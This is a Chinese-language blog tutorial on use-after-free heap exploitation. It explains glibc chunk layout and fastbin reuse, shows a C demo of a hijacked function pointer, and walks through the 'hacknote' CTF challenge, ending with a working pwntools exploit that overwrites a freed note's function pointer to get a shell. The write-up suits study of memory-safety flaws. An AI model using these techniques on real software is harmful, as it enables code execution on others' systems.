PWN-堆溢出UAF

admin 2023年11月24日10:09:27评论53 views字数 4246阅读14分9秒阅读模式
PWN-堆溢出UAF
一、UAF原理

      UAF全称use after,其内容如名称,在free后再进行利用,UAF是堆结构漏洞的重要利用方式。原理如下:

    UAF漏洞大部分都出现在使用一个指针P去申请一个指定大小的chunk,而当free指针P以后指针P并没有被置空(指向NULL),那么即使释放了这块内存,但是依旧可以对这块内存进行操作,同时在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。

     其中堆分配回收机制:应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放回内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放回内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

    UAF漏洞

    (1)内存块被释放后,其对应的指针被设置为NULL,然后再次被使用,自然程序会崩溃。

    (2)内存块被释放后,其对应的指针没有被设置为NULL,然后在它下次被使用之前,没有代码对这块内存进行修改,那么程序很可能可以正常运转。

    (3)内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

    迷途指针

    迷途指针或称为悬空指针,野指针,指的的是不指向任何合法的对象的指针。当所指向的对象被释放或收回,但是对该指针没有作任何的修改,以至于该真正仍旧指向已经回收的内存地址,此情况下该指针便称为迷途指针。若操作系统将这部分已经释放的内存重新分配给另一个进程,而原来的程序重新引用现在的迷途指针,则会产生无法预料的后果。因为此时迷途指针所指向的内存现在包含的已经完全是不同的数据。通常来说,若原来的程序继续往迷途指针所指向的内存地址写入数据,这些和原来程序不相关的数据将被损坏,进而导致不可预料的程序错误。这种类型的程序错误,不容易找到问题的原因,通常会导致存储器区块错误(Linux系统中)和一般保护错误(Windows系统中)。如果操作系统的内存分配器将已经被覆盖的数据区域再分配,就可能会影响系统的稳定性。

二、一个说明UAF原理的例子

    一段代码:

#include <stdio.h>
void func1()
{
printf("func1n");
}
void hack()
{
printf("hackn");
}
struct Pfunc
{
void (*p)();
};
int main()
{
struct Pfunc* lpfunc = malloc(8);
lpfunc->p = func1;
lpfunc->p();
free(lpfunc);
long* hack_point = malloc(8);
*hack_point = hack;
lpfunc->p();
return 0;
}


    编译32位:gcc -g -m32 test.c

    程序运行结果如下:

PWN-堆溢出UAF

    为啥会这样呢?

    glibc的ptmalloc在管理释放的内存叫bin,申请的堆块叫chunk其中小chunk内存管理器叫fastbins,使用的是 LIFO的规则,后进先出。所以申请同样大小的小chunk,会使用最后一次free的chunk执行完free过后,fastbins中存放了刚刚free的指针0x804b000。

PWN-堆溢出UAF

    执行malloc(8)后,看到fastbins中的chunk指针没有了。

PWN-堆溢出UAF

    看下hack_point的地址,确实是刚刚free的地址,此时两个指针指向同一块内存。

PWN-堆溢出UAF

    为啥这两个指针=0x0804b008,而fastbins存的0x0804b000

    在32位下chunk的结构:

struct chunk
{
size_t 暂时不管;
size_t size;//低3位不算长度
char user_data[0];
}

刚好偏移是8,因为在x86中,SIZE_SZ是4,在x64中SIZE_SZ是8。

补充chunk里面有什么元素:

struct malloc_chunk 
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

接下来让我们来看看这里面的元素的含义
1、prev_size:如果该chunk的物理相邻的前一个chunk是空闲的,那就用来记录前一个chunk的大小,否则的话用来储存前一个chunk的数据,这也就是prev_size的复用。
2、size:用来记录该chunk的大小,这个大小必须是2*SIZE_SZ的倍数。在x86中,SIZE_SZ是4,在x64中SIZE_SZ是8。这也就说明该字段的低三个比特位一定是0,所以我们可以把它们利用起来,三个比特位从高到低表示AMP。
A:NON_MAIN_ARENA,记录当前的chunk是否不属于主线程,1表示不属于,0表示属于
M:IS_MAPPED记录当前chunk是否是由mmap分配的
P:PREV_INUSE,记录前一个chunk是否被分配,一般来说堆中的第一个被分配的chunk的size字段的P位都会是1,防止对前面的内存非法访问。当一个chunk的size的P位为0的时候,也就意味着前一个chunk空闲,也就是说当前chunk可以和前一个chunk合并
3、fd,bk,chunk处于分配状态的时候,从fd字段开始都是用户的数据,当chunk空闲的时候,会被添加到相对应的bins中,bins的话其实就是一个链表,有的是双向链表,有的是单向链表,既然是链表那就一定要有指针,这个就是指针,fd是指向前一个chunk的指针,bk是指向后一个chunk的指针
4、fd_nextsize,bk_nextsize,fd_nextsize表示前一个chunk的大小,bk_nextsize表示后一个chunk的大小,当然这个也是chunk空闲的时候采用,不过只有较大的chunk才会用到,也就是large chunk(一个bins的名称)。


三、一道UAF的题目

    一道题:hacknote.程序提供了记事本功能。

PWN-堆溢出UAF

    其中add_note函数在notelist中找一个空位置用来写日记,但是删除日记del_note函数中却没有把指针置空print_note函数可以使用已经free的指针,存在UAF漏洞

PWN-堆溢出UAF




PWN-堆溢出UAF


PWN-堆溢出UAF

    现在的目标就是,把notelist[x]->pFunc= magic,然后使用已经free的notelist[x]。

PWN-堆溢出UAF

具体操作如下:


1、因为noteNode的大小为8,如果想准确控制第二个noteNode的pFunc,那么noteNode->note的大小不能是8。创建两个24字节的note后内存长这样:

PWN-堆溢出UAF


对照:

PWN-堆溢出UAF

(上面的第2行应该为0x804b018


2、依次free note[0],note[1],试fastbins变成这样:

PWN-堆溢出UAF

0x804b030是note[1]的chunk,0x804b000是note[0]的chunk也就是之后malloc(8)的时候,第一次会得到0x804b030,第二次会得到0x804b000。
3、创建note[2],使note的大小=8,此时note的地址是0x804b008,仔细看看这个地址,就是note[0]的pFunc。把magic的地址写入,这时候note[0]->pFunc的值就是magic了。
PWN-堆溢出UAF
PWN-堆溢出UAF

4、执行print_note(0) 执行0号note的pFunc函数,getshell。

PWN-堆溢出UAF


exp:

from pwn import *

context.log_level = 'debug'

sh = process("./hacknote")
# sh = gdb.debug("./hacknote", "b *add_notenc")
elf = ELF("./hacknote")


def add_note(size, note=b"123"):
sh.sendlineafter(b"Your choice :", b"1")
sh.sendlineafter(b"Note size :", str(size).encode())
sh.sendlineafter(b"Content :", note)

def del_note(index):
sh.sendlineafter(b"Your choice :", b"2")
sh.sendlineafter(b"Index :", str(index).encode())

def print_note(index):
sh.sendlineafter(b"Your choice :", b"3")
sh.sendlineafter(b"Index :", str(index).encode())

add_note(24)
add_note(24)

del_note(0)
del_note(1)

add_note(8, p32(elf.sym["magic"]))
print_note(0)

sh.interactive()
pause()



参考文献

https://blog.csdn.net/qq_52469954/article/details/134091279

https://zhuanlan.zhihu.com/p/539338507

原文始发于微信公众号(豆豆咨询):PWN-堆溢出UAF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月24日10:09:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN-堆溢出UAFhttps://cn-sec.com/archives/2234406.html

发表评论

匿名网友 填写信息